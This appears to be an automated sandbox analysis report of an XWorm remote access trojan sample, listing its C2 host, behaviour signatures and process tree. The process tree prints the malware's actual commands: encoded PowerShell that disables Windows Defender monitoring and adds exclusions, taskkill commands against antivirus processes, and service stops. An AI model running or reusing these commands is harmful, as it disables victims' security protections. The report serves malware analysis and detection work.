Analysis

  • user interaction
    yes
  • max time kernel
    28s
  • max time network
    63s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/06/2026, 00:58

General

  • Target
    45555Signed.exe
  • Size 31.9MB
  • Sample260622-bbvs2sf18j
  • SHA256 6692528a6c729a2aa97595e617b43caa810f99cffad3f4f645a18645319e76a8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

C2
  • 7326.info:2686

Attributes
  • install_file

    USB.exe

  • localhost

    127.0.0.1

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 3 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 25 IoCs
  • Stops running service(s) 4 TTPs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 42 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 16 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45555Signed.exe
    "C:\Users\Admin\AppData\Local\Temp\45555Signed.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Users\Admin\AppData\Local\Temp\45555Signed.exe
      "C:\Users\Admin\AppData\Local\Temp\45555Signed.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:5772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1684
        • C:\Windows\system32\sc.exe
          sc stop "KSecDD"
          4⤵
          • Launches sc.exe
          PID:3388
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\system32\sc.exe
          sc stop "MRxSmb"
          4⤵
          • Launches sc.exe
          PID:1944
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3272
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3932
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          4⤵
          • Kills process with taskkill
          PID:1792
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3840
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kav.exe
          4⤵
          • Kills process with taskkill
          PID:2040
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kis.exe
          4⤵
          • Kills process with taskkill
          PID:260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:236
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im ksc.exe
          4⤵
          • Kills process with taskkill
          PID:1884
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:992
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kaspersky.exe
          4⤵
          • Kills process with taskkill
          PID:5152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5640
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drweb.exe
          4⤵
          • Kills process with taskkill
          PID:5568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4260
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im dwengine.exe
          4⤵
          • Kills process with taskkill
          PID:1404
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drwebservice.exe
          4⤵
          • Kills process with taskkill
          PID:3956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3124
        • C:\Windows\system32\sc.exe
          sc stop "KSecDD"
          4⤵
          • Launches sc.exe
          PID:4952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\system32\sc.exe
          sc stop "MRxSmb"
          4⤵
          • Launches sc.exe
          PID:3832
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3688
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5288
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          4⤵
          • Kills process with taskkill
          PID:4656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2636
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kav.exe
          4⤵
          • Kills process with taskkill
          PID:1596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5352
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kis.exe
          4⤵
          • Kills process with taskkill
          PID:4240
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5180
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im ksc.exe
          4⤵
          • Kills process with taskkill
          PID:5752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kaspersky.exe
          4⤵
          • Kills process with taskkill
          PID:4124
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drweb.exe
          4⤵
          • Kills process with taskkill
          PID:2028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2536
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im dwengine.exe
          4⤵
          • Kills process with taskkill
          PID:2116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5344
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drwebservice.exe
          4⤵
          • Kills process with taskkill
          PID:2428
      • C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program1.exe
        "C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program1.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:2460
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program2.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program2.exe
          C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program2.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3676
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            5⤵
              PID:4948
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2896
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3296
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3960
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3068
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5692

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b732072debb7b02a97a4f7c2ab41420e3ed298cad280235a767c749689605d8a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 893341b6bef32dd670385ca9ba10bba4493f728d7a4443a621d74b9769f15fb1
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5aff2ad3600ca1493163c5abbd922a06b9c43041dcc9e6aad405b6571902d95f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 248e54aee2e4fefb7a9c70bd370571eb34649c2116a0e85ea86d0bad6ff1226c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          prep_Activatable Class_Hermes_perf.cache

          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
